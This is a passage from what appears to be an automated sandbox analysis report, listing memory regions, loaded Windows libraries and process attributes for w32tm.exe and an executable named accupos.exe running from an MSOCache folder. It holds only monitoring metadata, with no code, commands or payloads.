0x1e474400000 end_va = 0x1e474403fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e474400000" filename = "" Region: id = 4115 start_va = 0x1e474410000 end_va = 0x1e474410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e474410000" filename = "" Region: id = 4116 start_va = 0x1e474420000 end_va = 0x1e474421fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e474420000" filename = "" Region: id = 4117 start_va = 0x7df5ff630000 end_va = 0x7ff5ff62ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff630000" filename = "" Region: id = 4118 start_va = 0x7ff6afab0000 end_va = 0x7ff6afad2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6afab0000" filename = "" Region: id = 4119 start_va = 0x7ff6b0460000 end_va = 0x7ff6b0478fff monitored = 0 entry_point = 0x7ff6b046c190 region_type = mapped_file name = "w32tm.exe" filename = "\\Windows\\System32\\w32tm.exe" (normalized: "c:\\windows\\system32\\w32tm.exe") Region: id = 4120 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4121 start_va = 0x1e474430000 end_va = 0x1e4745affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e474430000" filename = "" Region: id = 4122 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4123 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4124 start_va = 0x1e4743c0000 end_va = 0x1e4743cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e4743c0000" filename = "" Region: id = 4125 start_va = 0x7ff6af9b0000 end_va = 0x7ff6afaaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6af9b0000" filename = "" Region: id = 4126 start_va = 0x1e4745b0000 end_va = 0x1e47466dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4127 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4128 start_va = 0x767c680000 end_va = 0x767c6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000767c680000" filename = "" Region: id = 4129 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4130 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4131 start_va = 0x7ffa7b540000 end_va = 0x7ffa7b5aafff monitored = 0 entry_point = 0x7ffa7b5590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 4132 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4133 start_va = 0x1e4743d0000 end_va = 0x1e4743d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e4743d0000" filename = "" Region: id = 4134 start_va = 0x7ffa78330000 end_va = 0x7ffa78358fff monitored = 0 entry_point = 0x7ffa78344530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 4135 start_va = 0x7ffa71200000 end_va = 0x7ffa71237fff monitored = 0 entry_point = 0x7ffa71218cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 4136 start_va = 0x7ffa748f0000 end_va = 0x7ffa7492dfff monitored = 0 entry_point = 0x7ffa748fa050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 4137 start_va = 0x7ffa778b0000 end_va = 0x7ffa778bbfff monitored = 0 entry_point = 0x7ffa778b27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 4138 start_va = 0x7ffa77990000 end_va = 0x7ffa779c0fff monitored = 0 entry_point = 0x7ffa77997d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 4139 start_va = 0x7ffa71650000 end_va = 0x7ffa71663fff monitored = 0 entry_point = 0x7ffa71651310 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 4140 start_va = 0x7ffa6b050000 end_va = 0x7ffa6b077fff monitored = 0 entry_point = 0x7ffa6b054a80 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 4141 start_va = 0x1e474430000 end_va = 0x1e47447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e474430000" filename = "" Region: id = 4142 start_va = 0x1e4744b0000 end_va = 0x1e4745affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e4744b0000" filename = "" Region: id = 4143 start_va = 0x1e474430000 end_va = 0x1e474436fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e474430000" filename = "" Region: id = 4144 start_va = 0x1e474470000 end_va = 0x1e47447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e474470000" filename = "" Region: id = 4145 start_va = 0x7ffa77d70000 end_va = 0x7ffa77dcbfff monitored = 0 entry_point = 0x7ffa77d86f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 4146 start_va = 0x7ffa76fe0000 end_va = 0x7ffa77089fff monitored = 0 entry_point = 0x7ffa77007910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 4147 start_va = 0x7ffa7b280000 end_va = 0x7ffa7b287fff monitored = 0 entry_point = 0x7ffa7b281ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4148 start_va = 0x1e474670000 end_va = 0x1e4749a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4149 start_va = 0x7ffa6f830000 end_va = 0x7ffa6f839fff monitored = 0 entry_point = 0x7ffa6f8314c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 4150 start_va = 0x7ffa70eb0000 end_va = 0x7ffa70f16fff monitored = 0 entry_point = 0x7ffa70eb63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 4151 start_va = 0x1e474440000 end_va = 0x1e474446fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "w32tm.exe.mui" filename = "\\Windows\\System32\\en-US\\w32tm.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\w32tm.exe.mui") Thread: id = 205 os_tid = 0xc64 Thread: id = 206 os_tid = 0xc68 Process: id = "41" image_name = "accupos.exe" filename = "c:\\msocache\\all users\\{90160000-001a-0409-1000-0000000ff1ce}-c\\accupos.exe" page_root = "0x314ba000" os_pid = "0xc6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x358" cmd_line = "\"C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4153 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4154 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4155 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4156 start_va = 0x60000 end_va = 0x61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 4157 start_va = 0xf0000 end_va = 0x2e9fff monitored = 1 entry_point = 0x2e131e region_type = mapped_file name = "accupos.exe" filename = "\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-1000-0000000ff1ce}-c\\accupos.exe") Region: id = 4158 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 4159 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4160 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4161 start_va = 0x7ff5ffa00000 end_va = 0x7ff5ffa22fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffa00000" filename = "" Region: id = 4162 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4233 start_va = 0x600000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 4234 start_va = 0x7ffa61fc0000 end_va = 0x7ffa62027fff monitored = 1 entry_point = 0x7ffa61fc4970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4235 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4236 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4248 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4249 start_va = 0x7ff5ff900000 end_va = 0x7ff5ff9fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff900000" filename = "" Region: id = 4250 start_va = 0x600000 end_va = 0x6bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4251 start_va = 0x710000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 4252 start_va = 0x810000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 4253 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4254 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4322 start_va = 0x7ff5ff880000 end_va = 0x7ff5ff8fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4323 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4324 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4325 start_va = 0x8e0000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4326 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4327 start_va = 0x70000 end_va = 0x76fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 4328 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4329 start_va = 0x9e0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 4330 start_va = 0x80000 end_va = 0x86fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 4705 start_va = 0x7ffa624c0000 end_va = 0x7ffa6255cfff monitored = 1 entry_point = 0x7ffa624c1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5205 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5206 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 5207 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 5208 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5209 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5210 start_va = 0x90000 end_va = 0xc8fff monitored = 0 entry_point = 0x912f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5211 start_va = 0xae0000 end_va = 0xc67fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 5212 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6293 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 6294 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 6295 start_va = 0xc70000 end_va = 0xdf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c70000" filename = "" Region: id = 6296 start_va = 0xe00000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e00000" filename = "" Region: id = 6297 start_va = 0x2200000 end_va = 0x23f2fff monitored = 1 entry_point = 0x23f131e region_type = mapped_file name = "accupos.exe" filename = "\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-1000-0000000ff1ce}-c\\accupos.exe") Region: id = 6298 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6299 start_va = 0x7ffa76d30000 end_va = 0x7ffa76d39fff monitored = 0 entry_point = 0x7ffa76d31350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6300 start_va = 0x7ffa5e8d0000 end_va = 0x7ffa5f2b5fff monitored = 1 entry_point = 0x7ffa5e8d5b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6301 start_va = 0x7ffa623c0000 end_va = 0x7ffa624b6fff monitored = 0 entry_point = 0x7ffa623e4d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 6563 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 6564 start_va = 0xc0000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 6565 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 6821 start_va = 0x7ff9ff1d0000 end_va = 0x7ff9ff1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1d0000" filename = "" Region: id = 6822 start_va = 0x7ff9ff1e0000 end_va = 0x7ff9ff1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1e0000" filename = "" Region: id = 6823 start_va = 0x7ff9ff1f0000 end_va = 0x7ff9ff27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1f0000" filename = "" Region: id = 6824 start_va = 0x7ff9ff280000 end_va = 0x7ff9ff2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff280000" filename = "" Region: id = 6825 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 6826 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 6827 start_va = 0x810000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 6828 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 6829 start_va = 0x9e0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 6830 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 7082 start_va = 0x2200000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 7083 start_va = 0x6c0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 7084 start_va = 0x2300000 end_va = 0x1a2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 7219 start_va = 0x1a300000 end_va = 0x1a66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a300000" filename = "" Region: id = 7220 start_va = 0x1a670000 end_va = 0x1a777fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a670000" filename = "" Region: id = 7221 start_va = 0x7ffa7a990000 end_va = 0x7ffa7a997fff monitored = 0 entry_point = 0x7ffa7a9910b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 7222 start_va = 0x1a780000 end_va = 0x1a87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a780000" filename = "" Region: id = 9355 start_va = 0x1a880000 end_va = 0x1a97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a880000" filename = "" Region: id = 9356 start_va = 0x1a980000 end_va = 0x1aa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a980000" filename = "" Region: id = 9499 start_va = 0x1aa80000 end_va = 0x1adb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 9500 start_va = 0x7ffa5d3e0000 end_va = 0x7ffa5e8c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 9942 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9943 start_va = 0x8e0000 end_va = 0x99ffff monitored = 0 entry_point = 0x900da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9944 start_va = 0x8e0000 end_va = 0x9bcfff monitored = 0 entry_point = 0x93e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 10320 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 10321 start_va = 0x8e0000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 10323 start_va = 0x7ff5ff860000 end_va = 0x7ff5ff8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff860000" filename = "" Region: id = 10324 start_va = 0x7ff5ff850000 end_va = 0x7ff5ff85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff850000" filename = "" Region: id = 10331 start_va = 0x7ff9ff2f0000 end_va = 0x7ff9ff2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2f0000" filename = "" Region: id = 10332 start_va = 0x7ff9ff300000 end_va = 0x7ff9ff30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff300000" filename = "" Region: id = 10347 start_va = 0x7ff9ff310000 end_va = 0x7ff9ff34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff310000" filename = "" Region: id = 10348 start_va = 0x7ffa621f0000 end_va = 0x7ffa622fdfff monitored = 1 entry_point = 0x7ffa621f1080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 10349 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10350 start_va = 0x1adc0000 end_va = 0x1aebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adc0000" filename = "" Region: id = 10351 start_va = 0x6c0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 10429 start_va = 0x7ffa5c790000 end_va = 0x7ffa5d3d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 10458 start_va = 0x7ffa5be00000 end_va = 0x7ffa5c781fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 10500 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 10518 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 10519 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 10520 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 10521 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 10543 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 10575 start_va = 0x980000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 10576 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 10577 start_va = 0xab0000 